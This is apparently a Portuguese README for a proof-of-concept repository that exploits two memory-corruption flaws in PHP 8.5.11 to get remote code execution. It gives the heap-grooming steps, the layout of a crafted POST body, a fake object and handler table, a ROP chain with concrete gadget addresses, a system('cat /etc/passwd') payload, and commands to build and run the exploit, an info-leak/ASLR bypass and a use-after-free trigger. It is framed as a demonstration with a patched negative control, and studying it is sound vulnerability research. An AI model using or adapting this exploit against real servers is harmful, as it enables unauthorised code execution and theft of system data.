
🤖 Não, existe uma forma fácil de explorar esta vulnerabilidade! (vibecoded para provar um ponto)
Um PoC de execução remota de código reproduzível e independente da aplicação contra o PHP
8.5.11 (os avisos de outubro de 2026). Ele transforma os dois avisos de corrupção de memória do PHP de 2026
em system("cat /etc/passwd") com nenhum código de aplicação — o
index.php da vítima apenas ecoa ok.
longjmp de OOM abandona uma HashTable meio construída, deixando
um bucket pendente que o shutdown destrói. Esta é a primitiva de RCE.Tudo é totalmente reproduzível em contêineres Podman. O resultado ponta a ponta confirmado
é ./exploits/cve-2026-109618-oom/rce.py lendo /etc/passwd.
Quando o PHP fica sem memória, ele chama zend_mm_safe_error() →
zend_error_noreturn() → zend_bailout() (longjmp). No 8.5.11 a inserção na tabela hash
não é passível de falha de alocação, então um OOM pode desenrolar com uma HashTable
meio modificada.
O local de corrupção é o add_to_hash de _zend_hash_str_add_or_update_i()
(Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
Se a cópia da chave zend_string_init sofrer OOM, o bucket p fica não escrito
(key/h/val todos obsoletos), mas nNumUsed já foi incrementado. No encerramento
da requisição, zend_array_destroy() percorre nNumUsed buckets e chama
i_zval_ptr_dtor(&p->val) sobre o val lixo do bucket não escrito — um
valor moldado pelo atacante. A correção da 8.5.12 substitui cada uma dessas alocações
por variantes falíveis (femalloc/fperealloc2 + HASH_FALLIBLE) para que a inserção
retorne de forma limpa em vez de abortar.
O exploit consiste inteiramente em fazer com que um bloco controlado de 2560 bytes seja
o arData da HashTable cujo último bucket é o bucket de OOM. Os valores
que tiveram de ser equilibrados, e por quê:
| Tipo / variável | Tamanho | Papel |
|---|---|---|
cabeçalho zend_array (HashTable) | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); o não escrito é o nosso alvo |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — definimos type_info |
zend_string | cabeçalho de 24 B + dados | o valor de preenchimento; seu comprimento escolhe o bin do alocador |
zend_object | 56 B | objeto falso: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj é o gadget de pivô |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (bin 28 = 2560 B) |
Os dois fatos do alocador dos quais todo o feng-shui depende:
HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), porque
HT_SIZE_TO_MASK(n) = -(2n).b150 (percorrido) e b0e0 (descartado) são duas cópias de $_POST["a"]
criadas pelo caminho SEPARATE_ARRAY/indireto da symtable; cada
campo a[<large>][c]=v insere a chave <large> em ambos, e b0e0 está
sempre 1 chave à frente. Apenas b150 é destruído por php_request_shutdown, então
o OOM deve recair sobre b150.rce.py)O corpo da requisição é um POST urlencoded:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) consome apenas memória suficiente para que o OOM dispare na
primeira inserção do campo OOM, ou seja, em b150 (a tabela percorrida), não
no b0e0 descartado.pad=<2528 B>: add_post_var faz estrndup(A) e depois
ZVAL_STRINGL_FAST(B, copy). Medido B = padlen + 32, então padlen=2528
resulta em A = 2529 e B = 2560 — ambos bin 28. A é liberado pelo
caminho estrndup.pad=x (chave duplicada) aplica DTOR à cópia retida B, liberando um segundo,
distinto slot bin-28. Agora o redimensionamento 32→64 de b150 reutiliza B — nossos bytes
controlados tornam-se o arData de b150.zend_hash_rehash.IS_OBJECT com value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt"); um
GET /leak.txt subsequente retorna o arquivo.Dois requisitos sutis que custaram tempo real de depuração (ambos em rce.py):
__libc_system usa movaps (alinhado a 16 bytes), então um gadget ret extra é
inserido entre pop rdi; ret e system — caso contrário, ocorre SIGSEGV dentro
de __libc_system antes de execve.setarch -R)Medidos contra php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). As
bases libphp/libc são as mesmas em toda a build base; o offset de heap B muda
com as libs instaladas (a instalação do gdb o moveu), então re-meça B para uma imagem
diferente, ou resolva-o via o info-leak para ASLR ativado.
| Símbolo | Endereço |
|---|---|
| base libphp | 0x7ffff4400000 |
| base libc | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
main chunk ([anon:zend_alloc]) | 0x7ffff7200000 |
B (bloco bruto arData = b150->arData - 512) | 0x7ffff725e400 |
| handlers falsos | B + 24 + 2000 = 0x7ffff725ebe8 |
| objeto falso | B + 24 + 2048 = 0x7ffff725ec18 |
string cmd | B + 24 + 2200 = 0x7ffff725ecb0 |
A cadeia ROP (relativa ao objeto falso, o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Requer Podman. A partir da raiz do repositório:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
Esperado resultado:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh